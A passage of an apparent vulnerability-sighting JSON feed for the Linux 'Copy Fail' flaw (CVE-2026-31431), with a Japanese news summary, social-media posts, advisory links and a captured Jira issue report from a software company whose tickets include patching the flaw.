"Linux\u30ab\u30fc\u30cd\u30eb\u306e\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300d\u30ed\u30b8\u30c3\u30af\u306e\u6b20\u9665\u306b\u3088\u308a\u30b7\u30b9\u30c6\u30e0\u4e57\u3063\u53d6\u308a\u304c\u53ef\u80fd\u306b\n\nCVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a27.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001 \u300cCopy Fail\u300d\u3068\u547c\u3070\u308c\u3066\u3044\u308b\u3053\u306e\u554f\u984c\u306f\u30012017\u5e74\u4ee5\u964d\u306e\u3059\u3079\u3066\u306eLinux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3068\u8003\u3048\u3089\u308c\u3066\u3044\u307e\u3059\u3002\n\n\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f\u3001IPsec\u304c\u62e1\u5f35\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\uff08ESN\uff09\u306e\u30b5\u30dd\u30fc\u30c8\u306b\u4f7f\u7528\u3059\u308b \u30ab\u30fc\u30cd\u30eb\u306e\u8a8d\u8a3c\u4ed8\u304d\u6697\u53f7\u5316\uff08AEAD\uff09\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002\n\nTheori\u6c0f\u306b\u3088\u308b\u3068\u3001\u554f\u984c\u306fLinux\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u30da\u30fc\u30b8\u3092\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u306a\u30b9\u30ad\u30e3\u30c3\u30bf\u30fc\u30ea\u30b9\u30c8\u306b\u914d\u7f6e\u3059\u308b\u3053\u3068\u3001authencesn\u304c\u547c...", "creation_timestamp": "2026-05-06T20:05:58.547194Z"}, {"uuid": "5f096616-5ac9-439d-a7d4-09e9dc8a0e16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31748", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:11:53.543756Z"}, {"uuid": "bee1c039-f5e5-4cbc-9487-f3724786a938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3ml7lawv3vk2v", "content": "PAN-OS CVE-2026-0300 zero-day exploited (CVSS 9.3)\nLinux 'Copy Fail' CVE-2026-31431 LPE\nAPT37 BirdCall, MuddyWater Teams decoy, ShinyHunters 280M Instructure records\n\nFull brief: intel.overresearched.net/2026/05/06/c...\n#Daily #ThreatIntel #InfoSec", "creation_timestamp": "2026-05-06T20:49:48.038201Z"}, {"uuid": "0e1915fa-3c78-4dcf-9221-b010001ed231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/serena666.bsky.social/post/3ml7lzrmaaq2k", "content": "BEFORE: Cloud was secure. AFTER: \"Copy Fail\" (CVE-2026-31431) lets any rando get root on your Linux box. Millions of k8s clusters at risk. Patch NOW or get pwned. \ud83e\udd26", "creation_timestamp": "2026-05-06T21:03:41.096305Z"}, {"uuid": "93dcfbdf-4a8b-49c1-9bfe-e7b2b86eb2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dfedmpls.bsky.social/post/3ml7m4ungtk2t", "content": "Holy shit CVE-2026-31431\n\nnvd.nist.gov/vuln/detail/...", "creation_timestamp": "2026-05-06T21:05:24.092237Z"}, {"uuid": "a8485898-022c-4f2b-8fd4-33a1e31734f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/3b5bccc17b7e14b046e06c7692b3a1de", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 06, 2026 at 10:12 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n2\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 2\n                    \n\n                      DO-2051\n                      Aldine, TX - Backup data and then copy to summer site\n                      \u2014\n                      May 6, '26\n                      May 6, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2049\n                      San Bernardino, CA - Please set up summer school ASDI \n                      Cory Emlen\n                      May 6, '26\n                      May 6, '26\n                      \u2014\n                      Verification\n                    \n\n\n\nDO \u2014 Edulog DevOps\n3\n\nIM \u2014 Incident Management\n5\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                3 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 3\n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      Vader\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      On hold\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                5 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 4\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      WORK IN PROGRESS\n                    \n                    \n\n                      IM-7573\n                      Brunswick County, NC - APP Issues\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \nTask 1\n                    \n\n                      IM-7572\n                      Framingham Public Schools, GPS units not reporting in since 11:30 AM today\n                      Nick Sundberg\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n8\n\nIM \u2014 Incident Management\n13\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                8 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      May 6, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 5\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 6, '26\n                      May 4, '26\n                      Backlog\n                    \n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 6, '26\n                      \u2014\n                      Verification\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                13 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 13\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      May 6, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (30d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (34d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (38d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (28d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (27d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1555\n                      [Houston-1.780] 500 internal server error for \"search\"call inside stop module\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 06, 2026 at 10:12 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-06T22:12:42.000000Z"}, {"uuid": "0e39e51d-dae5-4877-9317-9d6de9e3ba98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ml7sgjqeef2d", "content": "Linux\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-31431\u3001Copy Fail)  #IPA (May 1)\n\nwww.ipa.go.jp/security/sec...", "creation_timestamp": "2026-05-06T22:58:10.527487Z"}, {"uuid": "19812639-2563-4147-a1fd-d22081ccfb24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ml7zatjnfv2f", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (May 1)\n\nCVE-2026-31431 